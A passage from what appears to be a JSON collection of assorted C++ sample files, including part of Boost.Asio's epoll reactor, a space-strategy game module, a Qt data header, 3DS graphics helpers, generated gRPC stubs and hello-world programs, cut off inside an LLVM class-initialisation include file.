{\n        if (op->perform())\n        {\n          op_queue_[j].pop();\n          io_cleanup.ops_.push(op);\n        }\n        else\n          break;\n      }\n    }\n  }\n\n  // The first operation will be returned for completion now. The others will\n  // be posted for later by the io_cleanup object's destructor.\n  io_cleanup.first_op_ = io_cleanup.ops_.front();\n  io_cleanup.ops_.pop();\n  return io_cleanup.first_op_;\n}\n\nvoid epoll_reactor::descriptor_state::do_complete(\n    io_service_impl* owner, operation* base,\n    const boost::system::error_code& ec, std::size_t bytes_transferred)\n{\n  if (owner)\n  {\n    descriptor_state* descriptor_data = static_cast<descriptor_state*>(base);\n    uint32_t events = static_cast<uint32_t>(bytes_transferred);\n    if (operation* op = descriptor_data->perform_io(events))\n    {\n      op->complete(*owner, ec, 0);\n    }\n  }\n}\n\n} // namespace detail\n} // namespace asio\n} // namespace boost\n\n#include <boost/asio/detail/pop_options.hpp>\n\n#endif // defined(BOOST_ASIO_HAS_EPOLL)\n\n#endif // BOOST_ASIO_DETAIL_IMPL_EPOLL_REACTOR_IPP\n"
  },
  {
    "path": "samples/C++/gblib.cppm",
    "content": "export module gblib;\n\nimport std;\n\nexport enum ScopeLevel\n{\n    LEVEL_UNIV,\n    LEVEL_STAR,\n    LEVEL_PLAN,\n    LEVEL_SHIP\n};\n\nexport using shipnum_t   = uint64_t;\nexport using starnum_t   = uint32_t;\nexport using planetnum_t = uint32_t;\nexport using player_t    = uint32_t;\nexport using governor_t  = uint32_t;\n\nexport using ap_t         = uint32_t;\nexport using commodnum_t  = int64_t;\nexport using resource_t   = int64_t;\nexport using money_t      = int64_t;\nexport using population_t = int64_t;\n\nexport using command_t = std::vector<std::string>;\n\n// Shipping routes - DON'T change this unless you know what you are doing\nexport inline constexpr int MAX_ROUTES = 4;\n\n/**\n * \\brief Convert input string to a shipnum_t\n * \\param s User-provided input string\n * \\return If the user provided a valid number, return it.\n */\nexport inline std::optional<shipnum_t> string_to_shipnum(std::string_view s)\n{\n    while (s.size() > 1 && s.front() == '#')\n    {\n        s.remove_prefix(1);\n    }\n\n    if (s.size() > 0 && std::isdigit(s.front()))\n    {\n        return std::stoi(std::string(s.begin(), s.end()));\n    }\n    return {};\n}\n\n/**\n * \\brief Scales used in production efficiency etc.\n * \\param x Integer from 0-100\n * \\return Float 0.0 - 1.0 (logscaleOB 0.5 - .95)\n */\nexport inline double logscale(const int x)\n{\n    return log10(( double )x + 1.0) / 2.0;\n}\n\nexport inline double morale_factor(const double x)\n{\n    return (atan(( double )x / 10000.) / 3.14159565 + .5);\n}\n\nexport class Db\n{\npublic:\n    virtual ~Db()\n    {}\n    virtual int Numcommods() = 0;\n    virtual int Numraces()   = 0;\n\nprotected:\n    Db()\n    {}\n};\n\nexport class GameObj\n{\npublic:\n    player_t          player;\n    governor_t        governor;\n    bool              god;\n    double            lastx[2] = { 0.0, 0.0 };\n    double            lasty[2] = { 0.0, 0.0 };\n    double            zoom[2]  = { 1.0, 0.5 }; ///< last coords for zoom\n    ScopeLevel        level;                   ///< what directory level\n    starnum_t         snum;                    ///< what star system obj # (level=0)\n    planetnum_t       pnum;                    ///< number of planet\n    shipnum_t         shipno;                  ///< # of ship\n    std::stringstream out;\n    Db&               db;\n    GameObj(Db& db_)\n          : db(db_)\n    {}\n    GameObj(const GameObj&)            = delete;\n    GameObj& operator=(const GameObj&) = delete;\n};\n\nexport class Sector\n{\npublic:\n    Sector(unsigned int x_,\n           unsigned int y_,\n           unsigned int eff_,\n           unsigned int fert_,\n           unsigned int mobilization_,\n           unsigned int crystals_,\n           resource_t   resource_,\n           population_t popn_,\n           population_t troops_,\n           player_t     owner_,\n           player_t     race_,\n           unsigned int type_,\n           unsigned int condition_)\n          : x(x_),\n            y(y_),\n            eff(eff_),\n            fert(fert_),\n            mobilization(mobilization_),\n            crystals(crystals_),\n            resource(resource_),\n            popn(popn_),\n            troops(troops_),\n            owner(owner_),\n            race(race_),\n            type(type_),\n            condition(condition_)\n    {}\n\n    Sector()                                 = default;\n    Sector(Sector&)                          = delete;\n    void operator=(const Sector&)            = delete;\n    Sector(Sector&&)                         = default;\n    Sector& operator=(Sector&&)              = default;\n    auto    operator<=>(const Sector&) const = default;\n\n    unsigned int x { 0 };\n    unsigned int y { 0 };\n    unsigned int eff { 0 };          /* efficiency (0-100) */\n    unsigned int fert { 0 };         /* max popn is proportional to this */\n    unsigned int mobilization { 0 }; /* percent popn is mobilized for war */\n    unsigned int crystals { 0 };\n    resource_t   resource { 0 };\n\n    population_t popn { 0 };\n    population_t troops { 0 };    /* troops (additional combat value) */\n\n    player_t     owner { 0 };     /* owner of place */\n    player_t     race { 0 };      /* race type occupying sector\n                 (usually==owner) - makes things more\n                 realistic when alien races revolt and\n                 you gain control of them! */\n    unsigned int type { 0 };      /* underlying sector geology */\n    unsigned int condition { 0 }; /* environmental effects */\n\n    friend std::ostream& operator<<(std::ostream&, const Sector&);\n};\n\nexport struct Commod\n{\n    player_t    owner;\n    governor_t  governor;\n    uint8_t     type;\n    uint64_t    amount;\n    bool        deliver; /* whether the lot is ready for shipping or not */\n    money_t     bid;\n    player_t    bidder;\n    governor_t  bidder_gov;\n    starnum_t   star_from; /* where the stuff originated from */\n    planetnum_t planet_from;\n    starnum_t   star_to;   /* where it goes to */\n    planetnum_t planet_to;\n};\n\nexport struct Victory\n{\n    std::weak_ordering operator<=>(const Victory& that) const\n    {\n        // Ensure that folks who shouldn't count are always ranked last.\n        if (no_count && !that.no_count)\n        {\n            return std::weak_ordering::greater;\n        }\n        if (that.no_count && !no_count)\n        {\n            return std::weak_ordering::less;\n        }\n\n        if (that.rawscore > rawscore)\n        {\n            return std::weak_ordering::greater;\n        }\n        if (that.rawscore < rawscore)\n        {\n            return std::weak_ordering::less;\n        }\n\n        // Must be equal\n        return std::weak_ordering::equivalent;\n    }\n    player_t      racenum;\n    std::string   name;\n    bool          no_count = false;\n    double        tech;\n    int           Thing;\n    int           IQ;\n    unsigned long rawscore;\n};\n\nexport struct plinfo\n{                            /* planetary stockpiles */\n    unsigned short fuel;     /* fuel for powering things */\n    unsigned short destruct; /* destructive potential */\n    resource_t     resource; /* resources in storage */\n    population_t   popn;\n    population_t   troops;\n    unsigned short crystals;\n\n    unsigned short prod_res; /* shows last update production */\n    unsigned short prod_fuel;\n    unsigned short prod_dest;\n    unsigned short prod_crystals;\n    money_t        prod_money;\n    double         prod_tech;\n\n    money_t        tech_invest;\n    unsigned short numsectsowned;\n\n    unsigned char comread;    /* combat readiness (mobilization)*/\n    unsigned char mob_set;    /* mobilization target */\n    unsigned char tox_thresh; /* min to build a waste can */\n\n    unsigned char explored;\n    unsigned char autorep;\n    unsigned char tax;    /* tax rate */\n    unsigned char newtax; /* new tax rate (after update) */\n    unsigned char guns;   /* number of planet guns (mob/5) */\n\n    /* merchant shipping parameters */\n    struct\n    {\n        unsigned char set;         /* does the planet have orders? */\n        unsigned char dest_star;   /* star that ship has to go to next */\n        unsigned char dest_planet; /* planet destination */\n        unsigned char load;        /* bit-field commodities to be loaded there */\n        unsigned char unload;      /* unloaded commodities */\n        unsigned char x, y;        /* location that ship has to land on */\n    } route[MAX_ROUTES];           /* i am allowing up to four routes per planet */\n\n    long   mob_points;\n    double est_production; /* estimated production */\n};\n\nexport template<typename T>\nconcept Unsigned = std::is_unsigned<T>::value;\n\nexport template<typename T>\nvoid setbit(T& target, const Unsigned auto pos)\n    requires Unsigned<T>\n{\n    T bit   = 1;\n    target |= (bit << pos);\n}\n\nexport template<typename T>\nvoid clrbit(T& target, const Unsigned auto pos)\n    requires Unsigned<T>\n{\n    T bit   = 1;\n    target &= ~(bit << pos);\n}\n\nexport template<typename T>\nbool isset(const T target, const Unsigned auto pos)\n    requires Unsigned<T>\n{\n    T bit = 1;\n    return target & (bit << pos);\n}\n\nexport template<typename T>\nbool isclr(const T target, const Unsigned auto pos)\n    requires Unsigned<T>\n{\n    return !isset(target, pos);\n}\n"
  },
  {
    "path": "samples/C++/gdsdbreader.h",
    "content": "#ifndef GDSDBREADER_H\r\n#define GDSDBREADER_H\r\n\r\n// This file contains core structures, classes and types for the entire gds app\r\n// WARNING: DO NOT MODIFY UNTIL IT'S STRICTLY NECESSARY\r\n\r\n#include <QDir>\r\n#include \"diagramwidget/qgldiagramwidget.h\"\r\n\r\n#define GDS_DIR \"gdsdata\"\r\n\r\nenum level {LEVEL_ONE, LEVEL_TWO, LEVEL_THREE};\r\n\r\n// The internal structure of the db to store information about each node (each level)\r\n// this will be serialized before being written to file\r\nclass dbDataStructure\r\n{\r\npublic:\r\n    QString label;\r\n    quint32 depth;\r\n    quint32 userIndex;\r\n    QByteArray data;    // This is COMPRESSED data, optimize ram and disk space, is decompressed\r\n                        // just when needed (to display the comments)\r\n\r\n    // The following ID is used to create second-third level files\r\n    quint64 uniqueID;\r\n    // All the next items linked to this one\r\n    QVector<dbDataStructure*> nextItems;\r\n    // Corresponding indices vector (used to store data)\r\n    QVector<quint32> nextItemsIndices;\r\n    // The father element (or NULL if it's root)\r\n    dbDataStructure* father;\r\n    // Corresponding indices vector (used to store data)\r\n    quint32 fatherIndex;\r\n    bool noFatherRoot; // Used to tell if this node is the root (so hasn't a father)\r\n\r\n    // These fields will be useful for levels 2 and 3\r\n    QString fileName; // Relative filename for the associated code file\r\n    QByteArray firstLineData; // Compressed first line data, this will be used with the line number to retrieve info\r\n    QVector<quint32> linesNumbers; // First and next lines (next are relative to the first) numbers\r\n\r\n    // -- Generic system data not to be stored on disk\r\n    void *glPointer; // GL pointer\r\n\r\n    // These operator overrides prevent the glPointer and other non-disk-necessary data serialization\r\n    friend QDataStream& operator<<(QDataStream& stream, const dbDataStructure& myclass)\r\n    // Notice: this function has to be \"friend\" because it cannot be a member function, member functions\r\n    // have an additional parameter \"this\" which isn't in the argument list of an operator overload. A friend\r\n    // function has full access to private data of the class without having the \"this\" argument\r\n    {\r\n        // Don't write glPointer and every pointer-dependent structure\r\n        return stream << myclass.label << myclass.depth << myclass.userIndex << qCompress(myclass.data)\r\n                         << myclass.uniqueID << myclass.nextItemsIndices << myclass.fatherIndex << myclass.noFatherRoot\r\n                            << myclass.fileName << qCompress(myclass.firstLineData) << myclass.linesNumbers;\r\n    }\r\n    friend QDataStream& operator>>(QDataStream& stream, dbDataStructure& myclass)\r\n    {\r\n        //Don't read it, either\r\n        stream >> myclass.label >> myclass.depth >> myclass.userIndex >> myclass.data\r\n                      >> myclass.uniqueID >> myclass.nextItemsIndices >> myclass.fatherIndex >> myclass.noFatherRoot\r\n                         >> myclass.fileName >> myclass.firstLineData >> myclass.linesNumbers;\r\n        myclass.data = qUncompress(myclass.data);\r\n        myclass.firstLineData = qUncompress(myclass.firstLineData);\r\n        return stream;\r\n    }\r\n\r\n};\r\n\r\n#endif // GDSDBREADER_H\r\n"
  },
  {
    "path": "samples/C++/graphics.cpp",
    "content": "// License - https://github.com/TurtleP/Flask/blob/master/LICENSE\n\n#include <shared.h>\n\nint currentR = 0xFF;\nint currentG = 0xFF;\nint currentB = 0xFF;\nint currentA = 0xFF;\n\nint currentScreen = GFX_BOTTOM;\n\nfloat transX = 0;\nfloat transY = 0;\nbool isPushed = false;\n\nu32 getCurrentColor() \n{\n\treturn RGBA8(currentR, currentG, currentB, currentA);\n}\n\nvoid setColor(int r, int g, int b)\n{\n\tcurrentR = r;\n\tcurrentG = g;\n\tcurrentB = b;\n\tcurrentA = currentA;\n}\n\nvoid setColor(int r, int g, int b, int a)\n{\n\tcurrentR = r;\n\tcurrentG = g;\n\tcurrentB = b;\n\tcurrentA = a;\n}\n\nvoid setScreen(int screen)\n{\n\tcurrentScreen = screen;\n}\n\nint getCurrentScreen()\n{\n\treturn currentScreen;\n}\n\nvoid screenShot() //for showing stuff being done\n{\n\tFILE * topScreen = fopen(\"sdmc:/framebuffer_top.rgb\", \"w+\");\n\n\tfwrite(gfxGetFramebuffer(GFX_TOP, GFX_LEFT, NULL, NULL), 288000, 1, topScreen);\n\n\tfclose(topScreen);\n\n\tFILE * bottomScreen = fopen(\"sdmc:/framebuffer_bottom.rgb\", \"w+\");;\n\n\tfwrite(gfxGetFramebuffer(GFX_BOTTOM, GFX_LEFT, NULL, NULL), 230400, 1, bottomScreen);\n\n\tfclose(bottomScreen);\n}\n\nvoid translateCoords(float * x, float * y) {\n\tif (isPushed) \n\t{\n\t\t*x += transX;\n\t\t*y += transY;\n\t}\n}\n\nvoid translate(float dx, float dy)\n{\n\tif (sf2d_get_current_screen() == getCurrentScreen()) \n\t{\n\t\ttransX = transX + dx;\n\t\ttransY = transY + dy;\n\t}\n}\n\nvoid push()\n{\n\tif (sf2d_get_current_screen() == getCurrentScreen()) \n\t{\n\t\tisPushed = true;\n\t}\n}\n\nvoid pop()\n{\n\tif (sf2d_get_current_screen() == getCurrentScreen()) \n\t{\n\t\ttransX = 0;\n\t\ttransY = 0;\n\t\tisPushed = false;\n\t}\n}\n\nvoid setScissor(u32 x, u32 y, u32 width, u32 height)\n{\n\tif (sf2d_get_current_screen() == getCurrentScreen()) \n\t{\n\t\tGPU_SCISSORMODE mode = GPU_SCISSOR_NORMAL;\n\n\t\tif (!x && !y && !width && !height) {\n\t\t\tmode = GPU_SCISSOR_DISABLE;\n\t\t}\n\n\t\tsf2d_set_scissor_test(mode, x, y, width, height);\n\t}\n}"
  },
  {
    "path": "samples/C++/grpc.pb.cc",
    "content": "// Generated by the gRPC protobuf plugin.\n// If you make any local change, they will be lost.\n"
  },
  {
    "path": "samples/C++/hello.cpp",
    "content": "#include <iostream>\n\nusing namespace std;\n\nint main()\n{\n    cout << \"Hello World\" << endl;\n}\n"
  },
  {
    "path": "samples/C++/hello.grpc.pb.h",
    "content": "// Generated by the gRPC C++ plugin.\n// If you make any local change, they will be lost.\n// source: hello.proto\n#ifndef GRPC_hello_2eproto__INCLUDED\n#define GRPC_hello_2eproto__INCLUDED\n\n#include \"hello.pb.h\"\n\n#include <grpc++/impl/codegen/async_stream.h>\n#include <grpc++/impl/codegen/async_unary_call.h>\n#include <grpc++/impl/codegen/method_handler_impl.h>\n#include <grpc++/impl/codegen/proto_utils.h>\n#include <grpc++/impl/codegen/rpc_method.h>\n#include <grpc++/impl/codegen/service_type.h>\n#include <grpc++/impl/codegen/status.h>\n#include <grpc++/impl/codegen/stub_options.h>\n#include <grpc++/impl/codegen/sync_stream.h>\n\nnamespace grpc {\nclass CompletionQueue;\nclass Channel;\nclass RpcService;\nclass ServerCompletionQueue;\nclass ServerContext;\n}  // namespace grpc\n\nclass HelloService final {\n public:\n  class StubInterface {\n   public:\n    virtual ~StubInterface() {}\n    virtual ::grpc::Status SayHello(::grpc::ClientContext* context, const ::HelloRequest& request, ::HelloResponse* response) = 0;\n    std::unique_ptr< ::grpc::ClientAsyncResponseReaderInterface< ::HelloResponse>> AsyncSayHello(::grpc::ClientContext* context, const ::HelloRequest& request, ::grpc::CompletionQueue* cq) {\n      return std::unique_ptr< ::grpc::ClientAsyncResponseReaderInterface< ::HelloResponse>>(AsyncSayHelloRaw(context, request, cq));\n    }\n  private:\n    virtual ::grpc::ClientAsyncResponseReaderInterface< ::HelloResponse>* AsyncSayHelloRaw(::grpc::ClientContext* context, const ::HelloRequest& request, ::grpc::CompletionQueue* cq) = 0;\n  };\n  class Stub final : public StubInterface {\n   public:\n    Stub(const std::shared_ptr< ::grpc::ChannelInterface>& channel);\n    ::grpc::Status SayHello(::grpc::ClientContext* context, const ::HelloRequest& request, ::HelloResponse* response) override;\n    std::unique_ptr< ::grpc::ClientAsyncResponseReader< ::HelloResponse>> AsyncSayHello(::grpc::ClientContext* context, const ::HelloRequest& request, ::grpc::CompletionQueue* cq) {\n      return std::unique_ptr< ::grpc::ClientAsyncResponseReader< ::HelloResponse>>(AsyncSayHelloRaw(context, request, cq));\n    }\n\n   private:\n    std::shared_ptr< ::grpc::ChannelInterface> channel_;\n    ::grpc::ClientAsyncResponseReader< ::HelloResponse>* AsyncSayHelloRaw(::grpc::ClientContext* context, const ::HelloRequest& request, ::grpc::CompletionQueue* cq) override;\n    const ::grpc::RpcMethod rpcmethod_SayHello_;\n  };\n  static std::unique_ptr<Stub> NewStub(const std::shared_ptr< ::grpc::ChannelInterface>& channel, const ::grpc::StubOptions& options = ::grpc::StubOptions());\n\n  class Service : public ::grpc::Service {\n   public:\n    Service();\n    virtual ~Service();\n    virtual ::grpc::Status SayHello(::grpc::ServerContext* context, const ::HelloRequest* request, ::HelloResponse* response);\n  };\n  template <class BaseClass>\n  class WithAsyncMethod_SayHello : public BaseClass {\n   private:\n    void BaseClassMustBeDerivedFromService(const Service *service) {}\n   public:\n    WithAsyncMethod_SayHello() {\n      ::grpc::Service::MarkMethodAsync(0);\n    }\n    ~WithAsyncMethod_SayHello() override {\n      BaseClassMustBeDerivedFromService(this);\n    }\n    // disable synchronous version of this method\n    ::grpc::Status SayHello(::grpc::ServerContext* context, const ::HelloRequest* request, ::HelloResponse* response) final override {\n      abort();\n      return ::grpc::Status(::grpc::StatusCode::UNIMPLEMENTED, \"\");\n    }\n    void RequestSayHello(::grpc::ServerContext* context, ::HelloRequest* request, ::grpc::ServerAsyncResponseWriter< ::HelloResponse>* response, ::grpc::CompletionQueue* new_call_cq, ::grpc::ServerCompletionQueue* notification_cq, void *tag) {\n      ::grpc::Service::RequestAsyncUnary(0, context, request, response, new_call_cq, notification_cq, tag);\n    }\n  };\n  typedef WithAsyncMethod_SayHello<Service > AsyncService;\n  template <class BaseClass>\n  class WithGenericMethod_SayHello : public BaseClass {\n   private:\n    void BaseClassMustBeDerivedFromService(const Service *service) {}\n   public:\n    WithGenericMethod_SayHello() {\n      ::grpc::Service::MarkMethodGeneric(0);\n    }\n    ~WithGenericMethod_SayHello() override {\n      BaseClassMustBeDerivedFromService(this);\n    }\n    // disable synchronous version of this method\n    ::grpc::Status SayHello(::grpc::ServerContext* context, const ::HelloRequest* request, ::HelloResponse* response) final override {\n      abort();\n      return ::grpc::Status(::grpc::StatusCode::UNIMPLEMENTED, \"\");\n    }\n  };\n  template <class BaseClass>\n  class WithStreamedUnaryMethod_SayHello : public BaseClass {\n   private:\n    void BaseClassMustBeDerivedFromService(const Service *service) {}\n   public:\n    WithStreamedUnaryMethod_SayHello() {\n      ::grpc::Service::MarkMethodStreamed(0,\n        new ::grpc::StreamedUnaryHandler< ::HelloRequest, ::HelloResponse>(std::bind(&WithStreamedUnaryMethod_SayHello<BaseClass>::StreamedSayHello, this, std::placeholders::_1, std::placeholders::_2)));\n    }\n    ~WithStreamedUnaryMethod_SayHello() override {\n      BaseClassMustBeDerivedFromService(this);\n    }\n    // disable regular version of this method\n    ::grpc::Status SayHello(::grpc::ServerContext* context, const ::HelloRequest* request, ::HelloResponse* response) final override {\n      abort();\n      return ::grpc::Status(::grpc::StatusCode::UNIMPLEMENTED, \"\");\n    }\n    // replace default version of method with streamed unary\n    virtual ::grpc::Status StreamedSayHello(::grpc::ServerContext* context, ::grpc::ServerUnaryStreamer< ::HelloRequest,::HelloResponse>* server_unary_streamer) = 0;\n  };\n  typedef WithStreamedUnaryMethod_SayHello<Service > StreamedUnaryService;\n  typedef Service SplitStreamedService;\n  typedef WithStreamedUnaryMethod_SayHello<Service > StreamedService;\n};\n\n\n#endif  // GRPC_hello_2eproto__INCLUDED\n\n"
  },
  {
    "path": "samples/C++/hello.ino",
    "content": "void setup() {\n  Serial.begin(9600);\n}\n\nvoid loop() {\n  Serial.print(\"Hello\");\n}\n"
  },
  {
    "path": "samples/C++/initClasses.inc",
    "content": "// start\n// define cpp macros: SET_SYMBOL, CREATE_CLASS, SET_CLASS, DEFINE_BASE_CLASSES, DEFINE_CLASS_NAMES, EXPOSE_TO_CANDO \n// define cpp macro: ALL_STAGES to get the effect of defining all of the macros above\n// define cpp macro: EXPOSE_PYTHON to expose python\n// Associating namespace(llvmo) with package(LlvmoPkg)\n // class DebugLoc_O : public core::T_O\n // class InsertPoint_O : public core::T_O\n // class LLVMContext_O : public core::ExternalObject_O\n // class Pass_O : public core::ExternalObject_O\n // class FunctionPass_O : public Pass_O\n // class ModulePass_O : public Pass_O\n // class ImmutablePass_O : public ModulePass_O\n // class PassManagerBase_O : public core::ExternalObject_O\n // class Value_O : public core::ExternalObject_O\n // class User_O : public Value_O\n // class LLVMContext_O : public core::ExternalObject_O\n // class Pass_O : public core::ExternalObject_O\n // class FunctionPass_O : public Pass_O\n // class ModulePass_O : public Pass_O\n // class ImmutablePass_O : public ModulePass_O\n // class PassManagerBase_O : public core::ExternalObject_O\n // class Value_O : public core::ExternalObject_O\n // class User_O : public Value_O\n // class Attribute_O : public core::T_O\n // class DataLayout_O : public ImmutablePass_O\n // class Constant_O : public User_O\n // class ConstantArray_O : public Constant_O\n // class ConstantDataSequential_O : public Constant_O\n // class ConstantDataArray_O : public ConstantDataSequential_O\n // class ConstantExpr_O : public Constant_O\n // class GlobalValue_O : public Constant_O\n // class GlobalVariable_O : public GlobalValue_O\n // class ExecutionEngine_O : public core::ExternalObject_O\n // class Module_O : public core::ExternalObject_O\n // class FunctionPassManager_O : public PassManagerBase_O\n // class EngineBuilder_O : public core::ExternalObject_O\n // class APFloat_O : public core::ExternalObject_O\n // class APInt_O : public core::ExternalObject_O\n // class IRBuilderBase_O : public core::ExternalObject_O\n // class IRBuilder_O : public IRBuilderBase_O\n // class Instruction_O : public User_O\n // class StoreInst_O : public Instruction_O\n // class FenceInst_O : public Instruction_O\n // class AtomicCmpXchgInst_O : public Instruction_O\n // class AtomicRMWInst_O : public Instruction_O\n // class PHINode_O : public Instruction_O\n // class CallInst_O : public Instruction_O\n // class LandingPadInst_O : public Instruction_O\n // class UnaryInstruction_O : public Instruction_O\n // class AllocaInst_O : public UnaryInstruction_O\n // class VAArgInst_O : public UnaryInstruction_O\n // class LoadInst_O : public UnaryInstruction_O\n // class TerminatorInst_O : public Instruction_O\n // class BranchInst_O : public TerminatorInst_O\n // class SwitchInst_O : public TerminatorInst_O\n // class IndirectBrInst_O : public TerminatorInst_O\n // class InvokeInst_O : public TerminatorInst_O\n // class ResumeInst_O : public TerminatorInst_O\n // class UnreachableInst_O : public TerminatorInst_O\n // class ReturnInst_O : public TerminatorInst_O\n // class ConstantFP_O : public Constant_O\n // class ConstantInt_O : public Constant_O\n // class UndefValue_O : public Constant_O\n // class ConstantPointerNull_O : public Constant_O\n // class MDNode_O : public Value_O\n // class MDString_O : public Value_O\n // class Function_O : public GlobalValue_O\n // class BasicBlock_O : public Value_O\n // class Argument_O : public Value_O\n // class Type_O : public core::ExternalObject_O\n // class FunctionType_O : public Type_O\n // class IntegerType_O : public Type_O\n // class CompositeType_O : public Type_O\n // class StructType_O : public CompositeType_O\n // class SequentialType_O : public CompositeType_O\n // class PointerType_O : public SequentialType_O\n // class ArrayType_O : public SequentialType_O\n // class VectorType_O : public SequentialType_O\n // class LLVMContext_O : public core::ExternalObject_O\n // class Module_O : public core::ExternalObject_O\n // class Builder_O : public core::ExternalObject_O\n // class APFloat_O : public core::ExternalObject_O\n // class Value_O : public core::ExternalObject_O\n // class User_O : public Value_O\n // class Constant_O : public User_O\n // class ConstantFP_O : public Constant_O\n// Associating namespace(llvmo) with package(LlvmoPkg)\n#ifdef HEADER_INCLUDES\n#include \"llvmoExpose.h\"\n#include \"llvmoExpose.scrape_inc.h\"\n#include \"debugLoc.h\"\n#include \"insertPoint.h\"\n#include \"llvmoExpose.generated.h\"\n#endif // HEADER_INCLUDES\n#undef HEADER_INCLUDES\n#if defined(SET_SYMBOL) || defined(ALL_STAGES)\n// requires LOOKUP_SYMBOL(pkg,symbolName) be defined\nllvmo::APFloat_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::APFloat_O::static_packageName(),llvmo::APFloat_O::static_className()));\nllvmo::APInt_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::APInt_O::static_packageName(),llvmo::APInt_O::static_className()));\nllvmo::Attribute_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Attribute_O::static_packageName(),llvmo::Attribute_O::static_className()));\nllvmo::Builder_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Builder_O::static_packageName(),llvmo::Builder_O::static_className()));\nllvmo::DebugLoc_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::DebugLoc_O::static_packageName(),llvmo::DebugLoc_O::static_className()));\nllvmo::EngineBuilder_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::EngineBuilder_O::static_packageName(),llvmo::EngineBuilder_O::static_className()));\nllvmo::ExecutionEngine_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ExecutionEngine_O::static_packageName(),llvmo::ExecutionEngine_O::static_className()));\nllvmo::IRBuilderBase_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::IRBuilderBase_O::static_packageName(),llvmo::IRBuilderBase_O::static_className()));\nllvmo::InsertPoint_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::InsertPoint_O::static_packageName(),llvmo::InsertPoint_O::static_className()));\nllvmo::LLVMContext_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::LLVMContext_O::static_packageName(),llvmo::LLVMContext_O::static_className()));\nllvmo::Module_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Module_O::static_packageName(),llvmo::Module_O::static_className()));\nllvmo::PassManagerBase_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::PassManagerBase_O::static_packageName(),llvmo::PassManagerBase_O::static_className()));\nllvmo::Pass_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Pass_O::static_packageName(),llvmo::Pass_O::static_className()));\nllvmo::Type_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Type_O::static_packageName(),llvmo::Type_O::static_className()));\nllvmo::Value_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Value_O::static_packageName(),llvmo::Value_O::static_className()));\nllvmo::Argument_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Argument_O::static_packageName(),llvmo::Argument_O::static_className()));\nllvmo::BasicBlock_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::BasicBlock_O::static_packageName(),llvmo::BasicBlock_O::static_className()));\nllvmo::CompositeType_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::CompositeType_O::static_packageName(),llvmo::CompositeType_O::static_className()));\nllvmo::FunctionPassManager_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::FunctionPassManager_O::static_packageName(),llvmo::FunctionPassManager_O::static_className()));\nllvmo::FunctionPass_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::FunctionPass_O::static_packageName(),llvmo::FunctionPass_O::static_className()));\nllvmo::FunctionType_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::FunctionType_O::static_packageName(),llvmo::FunctionType_O::static_className()));\nllvmo::IRBuilder_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::IRBuilder_O::static_packageName(),llvmo::IRBuilder_O::static_className()));\nllvmo::IntegerType_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::IntegerType_O::static_packageName(),llvmo::IntegerType_O::static_className()));\nllvmo::MDNode_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::MDNode_O::static_packageName(),llvmo::MDNode_O::static_className()));\nllvmo::MDString_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::MDString_O::static_packageName(),llvmo::MDString_O::static_className()));\nllvmo::ModulePass_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ModulePass_O::static_packageName(),llvmo::ModulePass_O::static_className()));\nllvmo::User_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::User_O::static_packageName(),llvmo::User_O::static_className()));\nllvmo::Constant_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Constant_O::static_packageName(),llvmo::Constant_O::static_className()));\nllvmo::ImmutablePass_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ImmutablePass_O::static_packageName(),llvmo::ImmutablePass_O::static_className()));\nllvmo::Instruction_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::Instruction_O::static_packageName(),llvmo::Instruction_O::static_className()));\nllvmo::SequentialType_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::SequentialType_O::static_packageName(),llvmo::SequentialType_O::static_className()));\nllvmo::StructType_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::StructType_O::static_packageName(),llvmo::StructType_O::static_className()));\nllvmo::ArrayType_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ArrayType_O::static_packageName(),llvmo::ArrayType_O::static_className()));\nllvmo::AtomicCmpXchgInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::AtomicCmpXchgInst_O::static_packageName(),llvmo::AtomicCmpXchgInst_O::static_className()));\nllvmo::AtomicRMWInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::AtomicRMWInst_O::static_packageName(),llvmo::AtomicRMWInst_O::static_className()));\nllvmo::CallInst_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::CallInst_O::static_packageName(),llvmo::CallInst_O::static_className()));\nllvmo::ConstantArray_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ConstantArray_O::static_packageName(),llvmo::ConstantArray_O::static_className()));\nllvmo::ConstantDataSequential_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ConstantDataSequential_O::static_packageName(),llvmo::ConstantDataSequential_O::static_className()));\nllvmo::ConstantExpr_O::___set_static_ClassSymbol(LOOKUP_SYMBOL(llvmo::ConstantExpr_O::static_pack